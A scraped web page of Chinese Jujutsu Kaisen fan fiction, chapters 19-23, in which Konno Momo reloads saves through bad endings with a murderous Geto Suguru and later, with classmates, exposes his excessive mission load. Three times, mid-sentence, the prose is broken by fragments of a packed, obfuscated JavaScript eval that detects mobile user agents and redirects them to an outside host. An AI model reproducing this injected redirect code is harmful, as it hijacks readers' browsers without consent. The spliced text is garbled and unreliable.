【夏油杰—无足之鸟(BE) ——没有脚的鸟儿,只能一直飞啊飞。落地的那刻,即为死亡之时。】 19.第十九章 在一个结局诞生前,一切都是有伏笔的。尤其是在一个要骗氪的游戏里,角色一定不会出现无缘无故的死亡。 像那种写不下去于是就天降陨石把主角砸死的操作,会被玩家和读者追着骂一辈子的吧。 鲜血飞溅,连哀嚎声都来不及发出。挡在今野桃身前的女人噗通一声倒下,一双深邃的眼睛死死地锁在少年的身上,倒映出凶手的影子。 今野桃擦了擦脸上的血迹。 “杰,”她望着来人,喃喃道,“你是……杰吗?” “很遗憾,我是。”夏油杰弯着眼睛回答,他喟叹道,“我会很温柔的,小桃,不会让你觉得痛苦。” 扭曲的、可怖的咒灵出现在夏油杰的身侧,让明明是个普通人的今野桃看见了它。 是死期将至了吗? 生死之间有大恐怖。夏油杰以为女孩会露出恐惧的模样,或许会歇斯底里地咒骂他,也有可能痛哭流涕地乞求活命。总之,都不该像是现在这样平静无波。 他们之间隔着两具尸体,彼此对视。 “你让我搞不清楚了。”今野桃困惑地说道,“现在的你和从前的你,到底哪个才是真实的呢?杰,看在我很快就要死了的份上,能否请你告诉我几个问题的答案?” 夏油杰偏了偏脑袋,望了一眼窗外说道:“拖延时间是没有用的,这里已经被我用结界包裹住了。” “嗯嗯。”今野桃不以为意地点头,问出口的第一个问题就让夏油杰哑然,“杰,你是不是一直在假装啊。” 假装自己很温柔,假装自己很强大,假装自己融入到了这个世界中。 “很没意思的问题。”夏油杰回道,“假装的又如何,真实的又如何。” 今野桃低下了头,她看见一滩血泊正在蔓延,像是张牙舞爪的怪物,一点一点地蚕食着她。 “如果……如果你的温柔、你的强大都是伪装的,那我要向你说一句对不起。” “……” 夏油杰有些怔愣。 “我早该意识到这一点的。” 早该意识到,夏油杰并没有想象中那样强大。在进入高专前,他也只是一个受着普通教育的小孩罢了。 所以那个时候,他才会问她,如果有一天他没办法保护她了,该怎么办呢。 那时就已经对现在有所预料了吗? 头顶的灯泡晃了一下,黑色的耳钉折射出了一点亮光。今野桃忽然发现夏油杰的耳垂比一般人要大,搭配着他此时半眯着的眼睛和冰冷得近乎无机质的眼神,让她想起了高台上端坐的佛像。 “杰,你现在的理想……是什么呢?” 夏油杰漠然说道:“你不会懂的,小桃。” 身为普通人的你,是无法理解的。 今野桃恍然:“你的心门,已经对我合上了吗。” 看不见的鸿沟横亘在二人之间,无法跨越。 “真是的。”夏油杰无奈摇头,“这就是你的遗言了吗?” 他勾动手指,柔声说道:“那就再见了。” 今野桃弱弱举手:“那个……真的不能放过我吗?我们可以分手。” . 烦死了,狗男人。 . 读取存档。 今野桃回到了夏油杰失联的第二天。 此时的夏油杰已经屠杀了村子,下一个目标就是他的父母。今野桃倦怠地坐在台阶上,双手撑着下巴,看着天空发呆。 唉,早就知道啦,能和五条悟玩到一起去的,会是什么好人呢。 只是没有想到,和五条悟比起来,夏油杰要疯得多了。说要放弃一切就放弃得干脆利落,哦不是,是手起刀落,丝毫不拖泥带水。 接下来要怎么做呢?身为普通人,而且还是前女友,不会一出现在他的面前就被他杀掉吧? 今野桃心中纠结,隐隐察觉到,这周目恐怕又是一个BE结局了,而且还是无法挽回的BE。 可恶啊! 夏油杰的家里是不能去了,剩下的就只有高专的宿舍,或许那里会隐藏一些夏油杰黑化的线索。 但是夏油杰都被通缉了,那宿舍肯定也…… 咦,不对。 今野桃忽然意识到了一个极佳的时间差。 夏油杰是19号失联的,她是21号存的档,高专是23号派人去现场搜查,也就是说,她可以在22号的时候去高专! 打定主意,今野桃立刻连假也不请了,买了第二天最早的一班地铁出发。 高专有结界不错,但今野桃也有好几个人的手机号码。只是,打给谁合适呢? 拇指犹豫地在家入硝子的名字上徘徊,就在她准备按下去的时候,身后传来了警惕的声音。 “什么人?” 今野桃回头,看见七海建人。 在今野桃的印象中,七海建人应当只比上一次见面大了一岁而已。但现在看来,怎么感觉他老了很多?眼神都变沧桑了。 急着进学校,今野桃没有说些客套话,而是直截了当地开口道:“你是七海同学吧?我曾在杰的手机里见过你的照片。我叫今野桃,是夏油杰的女友。” 她从相册里调出她与夏油杰的合照,两人举止亲密,神色亲昵,一看就知道感情很好。 女友?!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174286|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 七海建人恍然想起了什么似的,看她的目光也变了,好像终于把一个符号替换成了真正的人。 “夏油学长不在学校。”他说道。 “我知道,我就是趁他不在学校才来的。”今野桃随口胡诌,“我跟杰恋爱几年了嘛,想给他一个惊喜,所以就偷偷过来了。也麻烦你不要告诉杰哦。” “……我肯定不会说的。”七海建人没料想自己突然变成了play的一环,干巴巴地说道,“我带你进去吧。” 流程走完,今野桃笑吟吟地对他说:“请问男生宿舍怎么走?” 七海建人差点一个脚滑摔出去:“什、什么?!” “男生宿舍。”今野桃拍拍胸口承诺,“你放心,我不会到处乱走,我就呆在杰的房间。” 七海建人陷入了沉默。他肉眼可见地相当为难,但最终还是同意了。 “我带你去夏油学长的房间。”他反复叮嘱,“你绝对不能到处乱走。” “嗯嗯。” 高专的人实在是太少了,再加上七海建人有意带她走小路,所以进了宿舍也没人发现今野桃。 七海建人跑去找宿管要了钥匙,他显然说了什么,今野桃看见宿管大叔从窗户口里探出头,对她竖了个大拇指。 今野桃只能回以微笑。 鞋跟踩在木质地板上发出吱啊的声音,虽然宿舍楼建得气派,但入住的人数并不多。按照年龄分层后,就更加显得少了。 “到了,这里就是夏油学长的宿舍。” 推开门,今野桃没忍住咳了几声。浓烈的烟味几乎凝聚成了实质,堪称是一种化学武器了。 杰什么时候学会的抽烟?她不记得他有抽过烟啊。 今野桃跑到窗边,把窗户打开,让空气流通起来。被子乱糟糟地堆着,并没有被折叠起来。几件穿过的衣服被随手扔在床铺上、椅子上,足以看出主人的懒惰。 可是……杰是一个懒惰的人吗? 今野桃想起杰头上那个总是梳得整整齐齐的丸子,除了那一缕刻意留下的刘海,没有一根乱发;想起拥抱时从他身上闻到的淡淡的洗衣粉的味道。 她亲眼见过夏油杰在周末的时候帮她把屋子做了个大扫除,甚至抓住洗衣机运转的功夫,烧水泡了壶红茶,一边和她一起坐在沙发上喝茶,一边指挥咒灵把垃圾扔出去。 这样的人,怎么会懒惰呢。 靠近床的地板上,一根黑色的皮筋孤零零的落在那里。今野桃已经能够想象到,疲倦的少年随手拆开头发后无力倒在床上的场景。 两人没有见面的几个月时间里,夏油杰的身上到底发生了什么? 20.第二十章 七海建人飞快地把衣服收起来,桌上的烟灰缸清理掉……几分钟后,这间屋子看起来终于变得清爽许多。 今野桃喃喃道:“难道男生表面上和私底下其实是完全不同的类型?” “不,你误会了。”七海建人试图挽救学长在女友心里的形象,“夏油学长不是那种人!他只是……他只是……” 七海建人不知道该不该说。 “杰怎么了?”今野桃故意说道,“难道他在学校被欺负了?!” “……谁能欺负得了夏油学长啊。”七海建人有些不自在地低头,开口道,“但夏油学长最近确实很辛苦。我……我也对夏油学长说了一些不恰当的话。如果可以的话,想麻烦你替我向夏油学长转告一声抱歉。” 不恰当的话? “能详细说说吗?”今野桃若有所思地问道。 七海建人叹了口气,缓缓开口:“咒术师本就是行走于尸山血海中的职业,我不该将灰原的死怪罪在五条学长和夏油学长的身上。灰原死的那天,我朝夏油学长发脾气了,这实在是……” “等等。”今野桃悚然一惊,“灰原死了?!” 那个总是热情开朗笑着的少年,那个将夏油杰视为偶像的少年,死了?! “他是什么时候死的?”今野桃追问道。 七海建人抿了抿嘴,说出了一个日期,那已经是两个多月前的事情了。 今野桃飞快地翻看着手机里的聊天记录,总算是察觉到了一丝不对劲。夏油杰也很喜欢灰原这个学弟,有时候会不经意地提起他。就在灰原死去的前几天,夏油杰还开玩笑似的发消息给她。 [啊……感受到了身为学长的快乐,会有学弟做完任务后带伴手礼回来。] [羡慕!会是什么礼物呀?] [还不知道呢,不过我和学弟说了,可以带点甜食,到时候跟悟一起吃。] [嘻嘻,顺便还能在你那个好朋友面前炫耀一下贴心学弟是吧((^_^)] [(羞涩笑)] 也就是那天之后,夏油杰的消息里再也没有出现过这个学弟了。 今野桃以为在她不知道的地方,每个人都在平稳地生活着。她没有想过,灰原雄死了。 夏油杰也没告诉她。 “夏油学长那个时候已经很疲倦了,我却因为这种与他无关的事情而迁怒他,实在是不应该。”七海建人低声说道。 今野桃眨了眨眼睛,回过神来,艰难地扯出一个笑:“别自责,杰不会因为这种事情而怪你的。” “……是吗,那就好。”七海建人也不知道自己到底在谋求什么,灰原雄死后,他的心就像破开了一个大洞,一直有风往里面吹,吹得他浑身冰冷。 得到了想要的答案,也不过是于寒风中得到了一支蜡烛,饮鸩止渴罢了。 今野桃还没忘记自己混进高专的目的是什么,她把七海建人打发走,准备在夏油杰的房间里好好搜索一番。 拉开抽屉,她首先找到了夏油杰的学生证等各种证件,甚至还有存折。这些他都没有带走,可以看出,他的叛逃并非蓄意为之,而是一时兴起。 在这次的任务中,发生了什么事情刺激到了他本就摇摇欲坠的理智。 今野桃忽然想起来,夏油杰在天内理子的任务上失败,这件事情他也没有告诉她。只不过因为她早已得知了,所以察觉到那段时间他情绪比较低落,于是想尽办法宽慰他。 这么一复盘,她赫然发觉一个问题,夏油杰从来不把他遇到的任何困难分享给她。他告诉她的,永远都是好消息。 明明她并不会因为他的失败而嘲笑、轻视他,为什么要假装什么事情都没发生呢? 是温柔?还是……觉得她知道了也没用? 今野桃打开了夏油杰的那张存折,然后被上面格外多的数字给震了一下。 一级咒术师这么赚钱的吗?不对劲。 她拉过一把椅子,打开手机里的计算器,开始一条一条地算了起来。 高专不会在工资上苛待咒术师,不仅每个月打钱速度块,而且不同档位的工资数额十分清楚,以此来鼓励咒术师不断提升自己,多劳多得。 因此知道了总额,今野桃只要简单除一下就能推测出夏油杰每个月的任务量。 今野桃看着最后的数字,倒吸了一口气。 以他上个月为例,在短短三十天里,他做了九个一级任务,十八个二级任务,十六个三级任务。 合在一起一共是四十三个任务,平均一天要完成一个以上。 牛马都不是这样干的啊!但凡中间歇几口气,就有几天要做两个多任务! 这样不间断地做任务,他真的有时间休息吗? 是他自己主动申请的,还是高专给他安排的? 少年疲倦走进商务车、消失在夜色中的场景浮现在她的脑海中,今野桃隐约有了答案。 杰是不会拒绝任务的,尤其是会威胁到普通人生命的任务,甚至不需要报酬,他都会主动出手。 那颗带着强烈救世愿望的善良之心,就这么轻而易举地被利用了。 “真想把这个世界给砸个稀巴烂啊。” 今野桃往后一倒,靠在椅背上想。 . 没有穿高专制服的夏油杰看起来成熟了很多,不再像是学校里的学生。再加上高大的身材,挺拔的气质,很容易给人一种威慑感。 今野桃在街道的拐角处堵住了他。她斜倚在围墙上,朝他扔出了一枚石子。 夏油杰条件反射似的将石子弹飞,视线微转就看见了她。 “……小桃。” “嗯哼。”今野桃直起身,抱着手臂说道,“有人说,情侣之间断联三天就算默认分手。杰,我跟你之间,算是分手了吗?” 夏油杰沉默不语。 “应该不算,毕竟今天才是第二天。”重新读档回去的今野桃定定地看着他,“请你告诉我吧,杰,你这两天到底发生了什么。不管是任何事情,我都愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178462|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟你一起分担。” 但夏油杰还是什么都没说。 他像极了一块紧闭的蚌壳,除非付诸于武力,否则别想撬开他的嘴巴。 “那你要杀掉我吗?”今野桃被气笑了,“我听说你杀了很多人,杰,你怎么变成这个样子了?你让我觉得好陌生。” 她故意用言语来刺激他,十八岁的男生,正是心比天高的时候,她不信他不吃激将法。 “以前的杰,温柔、善良、乐于助人,不管是谁需要帮助,都会主动伸出援手,而现在的杰却摇身一变成了杀人犯。你真的很让我失望,杰,你告诉我做人应该锄强扶弱,那你现在又在做什么呢?一个人想要变好很难,堕落起来可就太快了!” 今野桃努力搜刮着刻薄的话语,可惜她的素质还是太高了,说不出多少脏话。 即便如此,她还是看见夏油杰攥紧了拳头。 “你知道什么!”他终于开口了,“普通人……根本就不应该存在!” 哈啊? 今野桃有一瞬间怀疑自己听错了。 夏油杰讥嘲地说道:“只要这个世界上还有普通人存在,咒灵就会一直、一直不断地诞生,永远没有消失的那天!而为此付出代价的,却是那些艰难求生的底层咒术师!” 明明是在保护着普通人,却反过来被普通人伤害乃至于杀死,这怎么能让他接受! 所以,只有将普通人彻底清除,咒术师才能活下去! 夏油杰如此坚信着。 他向今野桃伸出了手,咒灵从地底钻出来,扭动着丑陋的身躯,对眼前的女孩张开了布满尖利牙齿的嘴巴。 “小桃,身为普通人,就是你的原罪。”夏油杰一字一句地说道。 今野桃却没有死到临头的恐慌,她无奈而又烦躁地抓了抓脑袋,显得略有点颓丧。 “原来你是这样想的……” 其实夏油杰并没有改变,他仍旧像从前那样怜悯弱小,只是现在他把普通人从他的保护圈里踢了出去,划到了对立面。 太狂妄了。 也太着急了。 “杰啊,竟然是那种没有目标就无法活下去的人呢。”今野桃苦恼地说道,“就像是故事里的神明和信徒一样。看似占据主导地位的神明,其实在失去信徒以后就会彻底消失。” 夏油杰的目光微微闪烁。 “你心中的高台坍塌了,杰。” 所以高高在上的神明也堕落了。 真有趣啊。 “这样看来,杰其实也是个蛮脆弱的人嘛。” 很需要玩家张开宽阔的肩膀,让他依靠一下。 在被咒灵杀掉的前一刻,今野桃朝夏油杰伸出了手。 “最后抱一下吧,杰。”她笑道。 夏油杰凝视着她,指尖颤抖。 “晚安。” 【夏油杰好感值:80】 【夏油杰-堕佛(BE) ——当庙宇坍塌,被供奉的神佛又该何去何从?】 21.第二十一章 “嘿咻、嘿咻……” “加油加油!还有最后一点了!” “就剩五圈!” 操场上,三个人正在努力地迈开双腿。随着时间的一分一秒推移,大家开始拉开距离。 跑在最前面的是一位神采飞扬的长发女生,中间的是留着黑色蘑菇头的男生,金发男生被甩在最后,上气不接下气。 不对劲……他的同窗,怎么都这么强! 本以为有着西方人血统的他会比亚洲人更有耐力,但开学后却给了他重重的一巴掌。 比不过同是男生的灰原雄也就罢了,他甚至连看起来就身娇体弱的女同学都比不过! 七海建人陷入了深深地自我怀疑中。 此时,今野桃已经超了他一圈了。 “娜娜明,快一点呀!”她在七海建人的身边做高抬腿,“需要帮忙吗?” 灰原雄一个冲刺和今野桃一起把七海建人夹在中间,笑嘻嘻地说道:“要不然我和小桃一人抬一边,把娜娜明抬着走吧!” “我……我不需要!”七海建人喘着气说道,“我马上、马上就能跑完!” 真的吗?可是你的腿在发抖诶。 灰原雄和今野桃对视一眼,随即一人抓住七海建人的一只手,用力一提,把他架了起来。 七海建人:“???” “冲啊!” 在一片欢声笑语中,三人同时冲过了终点。旁边的老师咳了两声,睁一只眼闭一只眼让他们过了。 七海建人满头大汗地瘫倒在树荫下,已经没了说话的力气。 今野桃买了三瓶冰可乐放在椅子上,拉开自己的那瓶,痛饮几大口后,满足地打了个嗝。 舒服。 七海建人足足过了五分钟,才蠕动着起身。他的脸上写满了困惑:“是我还不够努力吗?明明开学的时候感觉我们之间的差距还没那么大。” “哎呀,既然你诚心诚意地发问了!” 灰原雄立刻接道:“那我就大发慈悲地告诉你!” “……”七海建人斜眼看着两个同窗。 今野桃耸了耸肩膀,说道:“好吧好吧,我承认我有加练。” 而且,现在的她已经不再是上周目的弱者了!她如今可是有着花费两个小时才摇到的超强数据! 咒力7、体质6、力量7、魅力4、敏捷6、智力6 哈哈,她放弃在恋爱游戏里点美貌了! 现在的她强得可怕! “加练……”七海建人恍然大悟,神色变得凝重而严肃,“你说得没错,我也需要加练了。” 不然眼睁睁看着同期越来越强,而他却始终原地打转,那也太丢脸了! “嗯嗯,到时候我们一起成为超强的咒术师,把所有咒灵全都消灭!”灰原雄欢呼道。 “……这个志向未免太远大了。”七海建人扶额,“我只想多赚一些钱,然后早点退休。” “什么嘛,才十几岁的年龄就开始想要退休了吗?”今野桃故作沉思,“那也好,以后我就去娜娜明家混吃混喝吧!” “咦?我也要去!”灰原雄兴致勃勃地说道。 七海建人露出了一双死鱼眼。 一年级的体能课结束,二年级就下楼了。灰原雄看见崇拜的学长,兴奋地挥舞手臂。 “夏油学长!五条学长!” “啊,是你们啊。”夏油杰温和地朝他们点头示意,“锻炼得怎么样?” “ve——ry good!”灰原雄和今野桃都伸出了大拇指。 五条悟扒拉了一下七海建人,噗嗤开口道:“好像有人不太good呢。” “嗐,没关系,习惯就好了,娜娜明未来可期呢!”今野桃畅想道,“说不定以后娜娜明会变成一个肌肉壮汉!一拳一个特级咒灵!” “……”七海建人蒙住眼睛喃喃,“我自己都不敢这样想。” 午餐是在学校食堂吃的,因为学生很少,大家干脆都聚集到了一张长桌上。 五条悟、家入硝子和七海建人吃的炸虾盖饭,夏油杰、今野桃和灰原雄吃的是叉烧拉面。趁着夏油杰和学弟聊天的时候,有人偷偷夹走了他碗里的叉烧。等发现时,嫌疑人已经不知是谁。 夏油杰狐疑的目光扫过五条悟,换来了一个无辜的眼神。 “你不会以为是老子吧?”五条悟嚷嚷道。 “没有。”夏油杰忍气吞声,“我怎么会以为是你呢。” 可是在场的人里,谁敢从他的碗里偷东西啊! “那你以为错了。”五条悟大摇大摆地把藏在面下的叉烧挑了起来,“就是老子夹的,不然老子干嘛要点跟你不一样的。” “……”夏油杰深吸了一口气,缓缓吐出,“算了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186555|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “真的吗?谢谢了。”五条悟再次伸出了筷子。 夏油杰一拍桌子就要暴起,灰原雄连忙抱住他的手臂:“冷静啊,夏油学长!吃饭要紧!” “对对对。”今野桃抄起夏油杰的筷子,从灰原雄的碗里夹了两块叉烧给夏油杰,“学长请吃!” 家入硝子已经把碗端了起来,一边吃饭一边含糊不清地说道:“下午还要出任务呢,省点力气不行吗。” 七海建人听到出任务,有了精神,他侧过头问学姐:“家入学姐,第一次的任务会很难吗?” 家入硝子沉吟道:“以你们现在的水平,应该不难。通常情况下都是很简单的侦察、收集情报之类的,只要谨慎听话,不会出问题。” 七海建人微微松了口气。 说来他们的这个队伍配置还挺合理的,有身为T的灰原雄,有主力输出的他自己,还有能够辅助的今野桃。 这样的配置,三级咒灵绰绰有余,甚至连二级也不是不能试试。 “不要着急,以后你们见识咒灵的机会还多着呢。”夏油杰不知道什么时候坐了回去,一脸淡然自若地说道。 “是啊,先多积累积累经验吧。”家入硝子的嘴角微微上扬,“听说以前有学生看见咒灵被吓得屁滚尿流哦。” 噫…… 五条悟不怀好意地说道:“杰,要不然我们去抓一只特级咒灵来给学弟学妹们看看吧?” 灰原雄的目光移向七海建人,今野桃的目光也移向了七海建人。 七海建人:“?怎么了?” “我们之中,会被吓得屁滚尿流的,可能只有娜娜明了吧?”灰原雄摸着下巴说道。 一根青筋从七海建人的额头上蹦了出来。 “好像是诶,不过我是辅助,我跑得应该比娜娜明快。”今野桃嘿嘿笑道。 七海建人的手背上也暴出了青筋。 “那到时候就用我们的必杀技吧!”灰原雄大喝一声,今野桃立刻跟上,两人左右夹击,把七海建人夹在了中间。 “冲啊!” 三个人呼啸着跑出了食堂,扬起了一阵灰尘。其中隐约伴随着有人的大呼声,喊着什么“放我下来”之类的话,可惜很快就被笑声掩盖了。 家入硝子淡定地喝完了最后一口汤,感慨道:“这就是青春啊。” 少年人无比珍贵的青春。 22、第二十二章 “侦察环境。” “ok没有问题。” “帐设好了。” “确认被困人数。” “目前还存活14人,有3人状态不佳,需要及时治疗。” “好,那我们进去。” 简短的对话后,一年级的学生们开始了他们的第一次任务。 确实不难,是一只三级咒灵。它盘踞在一座寺庙里,伪装成了树木,偶尔吃几个人都没被发现。好在有人报警,这才暴露了行踪。 这只咒灵唯一的长处就是能在寺庙附近的树林里来回转移本体,很会偷袭。 “娜娜明,接怪!”灰原雄高喊一声。 “十划咒法!”七海建人反手劈出一刀,只听咒灵尖利地哀嚎后,飞快地没入了树林中。 “先救人!”今野桃确定咒灵逃走,没有去追,而是朝着寺庙跑去。里面十几个人正缩在一起,表情惊恐地挤成一团。 她一脚踹开大门,语速飞快:“跟我来!” 说完,就抓着两个还不到腰高的小孩冲了出去。生死关头,到底没有人是个傻子,都纷纷追上了今野桃的脚步。 眼看着自己的“大餐”要跑,咒灵发狂了。 灰原雄钳制住咒灵,一只手紧紧掐着咒灵的身体,另一只手猛锤它的要害。鲜血从他的手臂往下滴,他却浑然不觉疼痛。 这就是灰原雄的术式,用游戏术语来解释,即每损失一定比例的生命值,各项数值将得到相应的提升。 而七海建人的术式就是把敌人的长度分成十份,在7:3的位置强行制造弱点,击中后能造成暴击伤害。 至于今野桃,她把自己的术式称为“游戏地图”。顾名思义,她可以在一定范围内标记友方和敌方,被标记后,双方均会出现在地图上,除非死亡才会消失。今野桃可以查看双方的状态,并对其施加影响。当然,目前这个影响是微弱的。 很有意思的是,这个友方和敌方并非由她确定,而是根据好感值来排。好感值大于10则被设定为友方,低于10则是敌方。 学校的老师对今野桃的这个术式非常看好,认为她或许能悟出“领域”。 “领域”是每个咒术师的至高追求,是一种非常强大的咒术能力。目前整个咒术界能使用“领域”的寥寥无几。 今野桃一边指挥普通人逃走,一边时刻关注着灰原雄的状态。 很好,血量健康。 眼看着最后一个友方目标离开了危险区域,今野桃发出了信号。 灰原雄将咒灵往边上一甩,激起一片尘土。七海建人紧随其后,刀刀见血。咒灵眼看自己不敌,心生退意,但不管藏到哪里,都会被今野桃一眼找到。 数小时后,战斗结束。 三人瘫倒在地,今野桃侧过头,对血条最低的灰原雄说道:“我给你加了好多次血,你有感觉到吗?” “有一点吧?”灰原雄回答,“不是很明显,但确实有一种耐力变强的感觉。” 血条变长,更能挨揍了是吗。 她又问七海建人:“我给你加攻击了,你有感觉吗?” 七海建人迟疑回答:“有……吗?” 好吧,太微弱了,几乎等同于无。 “走了,我们下山。” 三人变换了位置,从前被夹在中间的七海建人搀扶起了灰原雄,和今野桃一起把他扛了起来。 天空上的“帐”消失了,辅助监督远远站在山脚,对他们露出了欣慰的笑容。 “恭喜你们,成功完成任务。”辅助监督感慨道,“真是一代更比一代强,我当年可做不到像你们这样。” 喜悦的笑容出现在了每个人的脸上,少年们对视一眼,眉眼间俱是意气风发。 【灰原雄好感值:50】 【七海建人好感值:50】 果然,并肩作战才是赢得好感的最佳途径。 . “我们为什么一定要躲在这个地方?”七海建人不理解。 “是啊。”灰原雄没忍住打了个哈欠,“都这么晚了,幸好明天休息……” “因为眼见为实!”今野桃用力戳了一下灰原雄,“打起精神来啊,这可是事关你最喜欢的夏油学长呢!” “嗯?夏油学长怎么了?”灰原雄立刻正色问道。 今野桃张了张嘴,刚想说话,却听见什么动静,连忙一手捂住了一人的嘴巴。三人的身影隐藏在黑暗处,几乎融为一体。 现在是凌晨一点半,正是夜色最浓稠的时候。高专也陷入了静谧,连鸟儿的声音都很少出现。 作为学生,这个点就该好好睡觉,好好长身体。 然而,一个人影摇摇晃晃地出现了。他显然也很困顿,在一楼的售卖机停住,买了一罐咖啡,几口就喝了个干净,一边走一边随手把空罐子扔到了垃圾桶里。 他慢慢地走出了高专,在门口上了车。 三人沉默良久,灰原雄不太确定地开口道:“刚刚那个……是夏油学长吧?他要去哪?” “这么晚了,总不会是任务吧?”七海建人皱眉道。 “怎么可能,就算是任务……” “是哦,就是任务。”今野桃轻声打断了灰原雄的话,肯定地说道。 她掏出了一本笔记本,打开给两个男生看。 “这不是我第一次记录到夏油学长在半夜出去做任务了。”笔尖在几个数字上画了个圈,“在最近的一个月内,夏油学长有十三天深夜离校,我后来去问过,都是因为任务。” 她抬头,对上两人欲言又止的目光。 “那个……”灰原雄支支吾吾地说道,“小桃啊,就算是喜欢学长,我们也要注意方式,你这样……有点、有点……” “是斯托卡吗。”七海建人犀利吐槽道,“没想到你竟然是这种人。” 斯托卡,日语中的“跟踪狂”、“痴汉”。 “哈啊?我是斯托卡?!”今野桃用力给了他们两拳,“我是在关心夏油学长!而且,你们还没意识到这里面的不合理以及恐怖之处吗?” 灰原雄还在茫然,七海建人似是明白了什么。 “夏油学长晚上要做任务不代表他白天在休息,事实上他白天也在出任务。机器人也得停下来充电吧?我都不知道夏油学长多久没休息了。”今野桃点了点本子,“七天里他做了九个任务!” 灰原雄皱起了眉:“那也太过分了吧……” “学长是缺钱吗?”七海建人只能这样猜测,“如果急用钱的话,我可以借一些给他。” “是啊,我也可以借给学长的。”灰原雄用力点头。 今野桃竖起一根手指摇了摇:“不不不,你们还没搞懂,身为咒术师,想搞钱很简单。问题是,学校凭什么发这么多任务下来?就像我说我想好好学习,老师就发一百张试卷让我写完一样,你不觉得不合理吗?” 这么说来……好像也是? “就算是学长主动要求,也不能不管学长的身体就发这么多任务给他。”今野桃顿了顿,又说,“如果不是学长主动要求的,那就更可怕了。” 学生是很单纯的,没有受过社会的毒打,没有接受过阴暗面的熏染。他们习惯性地接受着老师的安排,服从老师的命令,信任着老师和学校。他们没有想过拒绝,也不敢拒绝。 灰原雄也想明白了其中的微妙,焦虑地开口道:“那接下来怎么办呢?我们只能看着夏油学长一直这样做任务吗?我们要告诉老师吗?” “没用的吧,告诉老师。”七海建人沉吟道,“而且很容易甩锅,根本就没办法彻底解决问题。” 所以……要找谁呢? 三人对视一眼,不约而同地说出了一个名字。 “五条悟!” 既是夏油杰的好友,而且还拥有着顶尖的家世。如果是他出头的话,一定能让问题迎刃而解吧! 夏油杰这段时间有问题,五条悟不是不知道。但他以己度人,认为这不过是青春期的“阵痛”,相信夏油杰能自己调理好。 再加上夏油杰本人三缄其口,面上总是作出一副云淡风轻的样子,更加误导了身边关心他的好友。 今野桃拿着自己这段时间总结出来的证据,和两个同窗一起找上了五条悟。 五条悟一开始不以为意,直到今野桃挑明了说,夏油杰可能因为他而被咒术界高层针对了。 他先是疑惑,随后神情逐渐变得阴沉。这是很少出现在五条悟脸上的表情,让学弟和学妹们噤若寒蝉。 “啊啊,不敢朝老子来,就冲着杰去了吗。”五条悟咬牙切齿地说道,“那些烂橘子,早该被踩成泥巴了!” 没错没错! 今野桃默默在心中点头。 “谢谢你们了。”五条悟对三人点点头,拍了拍灰原雄的肩膀,“难怪杰很喜欢你们。” 灰原雄连忙摆手,轻轻推了一把今野桃说道:“不是我的功劳啦,是小桃的!多亏了小桃锲而不舍地观察,这才发现了夏油学长的不对劲!” 嗯?虽然事实是这样没错,但这句话怎么听起来怪怪的…… 今野桃尴尬地笑道:“呃,因为我和灰原一样,都很崇拜夏油学长。” 崇拜? 五条悟扫过笔记本,目光意味深长地落在了女生身上。 “好啊,我会跟杰好好说说,‘崇拜’他的学弟学妹们。” 23、第二十三章 有五条悟出手,事情解决得很快。至少夏油杰再也不用半夜接到任务,然后匆匆忙忙地就要出发。 他本来就因为自己的术式而吃不好,如果连睡觉的时间都没有,那人活着还有什么意思。 五条悟带着夏油杰在高层大闹了一场,据说砸了不少东西,最后才大摇大摆地带着夏油杰扬长而去。 不怪他会养成这种天不怕地不怕的性格,只要是五条悟想要的,从来没有得不到的。 至少现在是这样。 在高层被强制性拆迁后的周末,夏油杰邀请几个学弟和学妹吃饭。 从星浆体任务失败后就一直萎靡不振的夏油杰看起来总算是有了几分精神,连黑眼圈都淡了不少。 “谢谢大家对我的关心。”夏油杰郑重地给学弟学妹倒了饮料,“如果不是你们,我都不知道咒术界的高层竟然会做出这种事情。” 当真是打破了他对咒术界的一些滤镜。 “没有没有,我们也没做什么。” 被学长这样感谢,他们三人有些不好意思。 夏油杰看向今野桃,对方回以天真的目光。在大家的注视下,他掏出了一张纸递了过去。 今野桃困惑地接过:“什么呀?” “是我接下来一个月的行程安排。” “噗——” 有人没忍住被口中的饮料呛到了。今野桃大惊失色,只觉得这张纸烫手极了。 “不是,夏油学长,你给我这个干什么?!” 夏油杰歪着头,问道:“你不喜欢吗?” 谁会喜欢这个啊! “不是、我、那个……”今野桃沐浴着众人古怪的视线,大脑宕机了。 她真的不是斯托卡啊! 五条悟勾着夏油杰的肩膀,嘻嘻哈哈地笑道:“哎呀,学妹高兴得话都说不清楚了。” 很好,原来罪魁祸首就是你啊!五条悟!! “我对夏油学长只是崇拜,不是变态!”今野桃几乎把字挤出牙缝地说道。 “什么?你是变态?”五条悟把手放在耳边,装作没听清楚。 忍无可忍,无需再忍! “吃我一拳!” 